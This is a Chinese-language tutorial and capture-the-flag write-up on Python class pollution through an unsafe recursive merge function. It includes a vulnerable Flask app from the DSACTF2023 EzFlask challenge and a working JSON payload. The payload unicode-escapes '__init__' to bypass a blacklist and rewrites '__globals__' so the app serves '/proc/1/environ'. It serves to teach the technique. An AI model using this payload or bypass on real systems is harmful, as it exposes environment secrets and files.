Python原型链污染
原型链
在Python中每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。
原型链污染
和JavaScript的原型链污染差不多,都是需要merge函数来修改父类的属性
class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
for k, v in src.items():
print(f"k:{k}\t v:{v}")
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
print(instance)
payload = {
"__class__" : {
"__base__" : { # 有继承关系,使用__base__找父类
"secret" : "world"
}
}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
# k:__class__ v:{'__base__': {'secret': 'world'}}
# getattr(dst,k): <class '__main__.son_b'>
# k:__base__ v:{'secret': 'world'}
# getattr(dst,k): <class '__main__.father'>
# k:secret v:world
print(son_a.secret)
#world
print(instance.secret)
#world
在这个例子中:
- 首先在payload中读入__class__,都是查看对象所在的类,在instance中是有__class__这个属性,因此进入
elif hasattr(dst, k) and type(v) == dict:
这个语句中,继续执行merge - merge其中输入的dst从原本的instance变为son_b这个类,而后使用__base__查看son_b中是否有父类,并寻找这个父类,根据语句
elif hasattr(dst, k) and type(v) == dict
继续执行merge - merge其中dst变为father这个类,type(v)是字符串,则执行
setattr(dst, k, v)
,father中的secret属性设置为world - 因为父类的secret值改变,son_a的secret属性也寻找到father这个父类中,值也变为world
在这个例子中创建的对象instance对应的son_b类是存在父类的,但很多时候是没有父类的,此时就可以利用python的一些属性来寻找对应变量
全局变量获取
在Python中,函数或类方法均具有一个__globals__属性,该属性将函数或类方法所申明的变量空间中的全局变量以字典的形式返回,这样就可以用__globals__来修改想要修改的全局变量值
DSACTF2023七月暑期赛–EzFlask
进入靶机看到给出了源码
import uuid
from flask import Flask, request, session
import json
black_list = ["__init__".encode(),"__globals__".encode()]
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
print(i)
if i in data:
print(i)
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else: dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else: setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
print(request.data)
print(json.loads(request.data))
if not check(request.data):
print("No check")
return "Register Failed"
data = json.loads(request.data)
print(data)
if "username" not in data or "password" not in data:
print("no username or passwd")
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception as e:
print("Exception: ",e)
return "Register Failed"
return "Register Success"
else:
print("no data")
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
print(request.data)
print(json.loads(request.data))
data = json.loads(request.data).encode()
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
看到merge函数首先想到原型链污染,在index函数中是可以直接读取__file__对应的文件,因此想到利用merge函数去修改这个变量,将其变为我想看到的文件,可以看到register是创建了User对象,将data中的数值merge,那么就要在data中写上payload,在User类中重写了__init__类,同时__file__变量是一个全局值,就可以用上面写到的__globals__函数来获取全局变量并进行修改,最后再重新进入index中读取文件内容,因此最终payload为
data = {
"username" : "admin",
"password" : "123456", # 在data中定义username和password保证data可以进入merge函数中
"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": { # 在check中可以看到有black_list,__init__被过滤了,使用unioncode进行绕过
"__globals__" : {
"__file__": "../../../proc/1/environ" # 大部分的flag都隐藏在环境变量中
}
}
}